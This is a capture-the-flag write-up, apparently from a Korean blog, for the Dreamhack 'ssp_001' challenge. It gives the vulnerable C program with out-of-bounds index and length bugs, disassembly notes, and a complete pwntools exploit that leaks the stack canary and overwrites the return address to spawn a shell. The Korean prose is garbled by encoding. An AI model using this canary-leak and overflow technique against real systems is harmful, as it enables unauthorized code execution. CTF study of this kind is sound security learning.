1. Code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
2. Write Up
์ฝ๋๋ฅผ ๋ณด๋ฉด P์์ idx ์ ํฌ๊ธฐ๋ฅผ ์ฃผ์ง ์์๊ธฐ ๋๋ฌธ์ box ์ ํฌ๊ธฐ๊ฐ ๋๋๋ผ๋ ์ฝ์ ์ ์๋ค.
๋ํ, E ์์ Name Size ์ ํฌ๊ธฐ๋ ์์๋ก ์ง์ ํ ์ ์๋ค. Name์ ํฌ๊ธฐ๋ 0x40์ผ๋ก ์ง์ ๋์ด ์์ง๋ง, name_len์ ๊ธธ์ด๊ฐ ๋ฐ๋ก ์ฃผ์ด์ง์ง ์์๊ธฐ ๋๋ฌธ์
0x08048795 <+106>: push 0x2 # push 2
0x08048797 <+108>: lea eax,[ebp-0x8a] # eax = select
0x0804879d <+114>: push eax # push select
0x0804879e <+115>: push 0x0 # push 0
0x080487a0 <+117>: call 0x80484a0 <read@plt> # read(0, select, 2)
0x080487a5 <+122>: add esp,0xc
0x080487d3 <+168>: push 0x40 # push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88] # eax = box
0x080487db <+176>: push eax # push box
0x080487dc <+177>: push 0x0 # push 0
0x080487de <+179>: call 0x80484a0 <read@plt> # read(0, box, 0x40)
0x080487e3 <+184>: add esp,0xc
0x080487f8 <+205>: lea eax,[ebp-0x94] # eax = idx
0x080487fe <+211>: push eax # push idx
0x080487ff <+212>: push 0x804898a # %d
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt> # scanf("%d", &idx)
0x08048809 <+222>: add esp,0x8
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90] # eax = name_len
0x08048858 <+301>: push eax # push name_len
0x08048859 <+302>: lea eax,[ebp-0x48] # eax = name
0x0804885c <+305>: push eax # push name
0x0804885d <+306>: push 0x0 # push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt> # read(0, name, name_len)
0x08048864 <+313>: add esp,0xc
0x080487f8 <+205>: lea eax,[ebp-0x94] # eax = idx
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90] # eax = name_len
0x080487d5 <+170>: lea eax,[ebp-0x88] # eax = box
0x08048859 <+302>: lea eax,[ebp-0x48] # eax = name
๋์ถฉ ์คํ์ ์์๋๋ก ๋ณด๋ฉด ์์ ๊ฐ์ ์์ ์ผ ๊ฒ์ด๋ค.
ebp-0x04๊ฐ dummy, ebp๊ฐ sfp , ebp+0x04 ๋ ret ์ด๊ธฐ ๋๋ฌธ์
์นด๋๋ฆฌ๋ [ebp-0x08] ์ธ 4๋ฐ์ดํธ์ผ ๊ฒ์ด๋ผ๊ณ ์์ธกํ ์ ์๋ค.
* Exploit Code
from pwn import *
p = remote("host3.dreamhack.games", 9399)
e = ELF("./ssp_001")
canary = b''
p.sendlineafter('> ', 'F')
p.sendlineafter('box input : ','A'*0x40)
get_shell = e.symbols['get_shell']
for x in range(128,132):
p.sendafter('> ','P')
p.sendlineafter("Element index : ",str(x))
p.recvuntil("is : ")
canary = p.recvuntil('\n')[0:2] + canary
#print("canary: ",canary)
canary = int(canary,16)
p.sendlineafter("> ", "E")
payload = b'A' * 0x40 # name
payload += p32(canary) # canary
payload += b'B' * 0x08 # dummy + sfp
payload += p32(get_shell) # ret
p.sendlineafter("Name Size : ", str(len(payload)))
p.sendlineafter("Name : ", payload)
p.interactive()
'Wargame > Dreamhack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Web] Mango (0) | 2023.02.16 |
---|---|
[Web] xss-2 (0) | 2023.02.16 |
[Pwnable] Basic_exploitation_002 (0) | 2023.02.16 |
[Pwnable] Return Address Overwrite (0) | 2023.02.16 |
[Pwnable] Basic_exploitation_003 (0) | 2023.02.16 |